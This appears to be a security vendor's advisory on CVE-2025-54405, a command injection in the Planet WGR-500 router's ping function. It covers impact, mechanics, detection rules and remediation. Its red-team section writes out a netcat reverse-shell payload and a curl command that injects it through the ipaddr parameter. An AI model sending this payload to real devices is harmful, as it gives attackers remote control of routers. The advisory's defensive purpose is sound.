CVE-2025-54405
Executive Summary
CVE-2025-54405 is a critical OS command injection vulnerability in the Planet WGR-500 router firmware version v1.3411b190912. The flaw resides in the formPingCmd functionality, specifically within the ipaddr request parameter. An unauthenticated attacker can send a series of specially crafted HTTP requests to inject arbitrary operating system commands, leading to full device compromise. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. No public proof-of-concept (PoC) or patch is currently available, making immediate mitigation through network segmentation and monitoring essential.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The vulnerability allows remote, unauthenticated attackers to execute arbitrary commands on the affected device, leading to full system takeover. The low attack complexity and lack of required privileges make this a high-priority threat for any organization using the Planet WGR-500.
Deep Dive & Mechanics
The formPingCmd functionality is designed to allow network administrators to ping an IP address from the router's web interface. The ipaddr parameter is passed directly to a system shell without proper sanitization or validation. An attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary OS commands.
Example injection vector:
ipaddr=127.0.0.1;id
This would execute the id command on the router's operating system, returning the current user context.
The vulnerability is triggered via a series of HTTP requests, likely due to the router's session handling or request processing logic. The exact mechanism involves sending multiple crafted requests to the vulnerable endpoint, each injecting a portion of the payload to bypass any rudimentary input length checks.
Vulnerable vs. Patched Code
Vulnerable Code (formPingCmd in v1.3411b190912):
void formPingCmd(char *ipaddr) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ipaddr);
system(cmd);
}
The ipaddr parameter is directly concatenated into the command string without validation.
Patched Code (hypothetical):
void formPingCmd(char *ipaddr) {
char cmd[256];
// Validate IP address format
if (!is_valid_ip(ipaddr)) {
return_error("Invalid IP address");
return;
}
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ipaddr);
system(cmd);
}
A proper patch would include input validation to ensure only valid IP addresses are accepted, and ideally use a safer API like execvp with a whitelist of allowed characters.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a Planet WGR-500 router with firmware v1.3411b190912.
- Connect the router to an isolated network with a Kali Linux attacker machine.
- Ensure the router's web interface is accessible from the attacker machine.
Exploitation Steps:
- Identify the vulnerable endpoint:
http://<router-ip>/goform/formPingCmd - Craft a payload to execute a reverse shell:
ipaddr=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f - Send the payload via a POST request:
curl -X POST http://<router-ip>/goform/formPingCmd -d "ipaddr=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f" - Listen for the reverse shell on the attacker machine:
nc -lvnp 4444
Note: Since no public PoC exists, this is a theoretical exploitation based on the vulnerability description.
Blue Team
Detection & Response:
- Monitor HTTP POST requests to
/goform/formPingCmdwith suspiciousipaddrparameters containing shell metacharacters (;,|,&,$,`). - Enable logging on the router to capture all executed commands via
system()calls. - Use network segmentation to isolate the router from critical assets.
- Implement an intrusion detection system (IDS) rule to alert on command injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/goform/formPingCmdwithipaddrcontaining shell metacharacters. - Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444).
- Unusual DNS queries or traffic patterns from the router.
- HTTP POST requests to
Host IOCs:
- Presence of files like
/tmp/f(FIFO pipe) on the router. - Unauthorized processes running on the router (e.g.,
nc,bash). - Modified system binaries or configuration files.
- Presence of files like
Log IOCs:
- Router logs showing execution of commands like
id,whoami, orlsvia the ping functionality. - Repeated failed login attempts followed by successful exploitation.
- Router logs showing execution of commands like
Detection Engineering
YARA Rule
rule CVE_2025_54405_Command_Injection {
meta:
description = "Detects command injection attempts targeting Planet WGR-500 formPingCmd"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-54405"
strings:
$cmd_inject = /ipaddr=[^&]*[;&|`$]/
$ping_cmd = "formPingCmd"
condition:
$ping_cmd and $cmd_inject
}
Sigma Rule
title: CVE-2025-54405 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to formPingCmd with command injection patterns
author: Valters IT
date: 2025/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/goform/formPingCmd'
cs-uri-query|re: 'ipaddr=.*[;&|`$].*'
condition: selection
falsepositives:
- Legitimate use of special characters in IP addresses (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54405 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/formPingCmd"; http_uri; pcre:"/ipaddr=[^&]*[;&|`$]/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place the Planet WGR-500 router on a separate VLAN with strict access controls.
- Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
- Monitor logs: Enable detailed logging and monitor for suspicious activity targeting the
formPingCmdendpoint.
Long-term Fixes:
- Firmware update: Await an official patch from Planet. Contact their support for an ETA.
- Input validation: Implement strict input validation for the
ipaddrparameter, allowing only valid IP addresses. - Use safer APIs: Replace
system()withexecvp()and a whitelist of allowed commands. - Web application firewall (WAF): Deploy a WAF with rules to block command injection patterns.
Workaround:
- If patching is not possible, consider replacing the device with a supported alternative.
Valters IT
Securing Your Digital Frontier
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.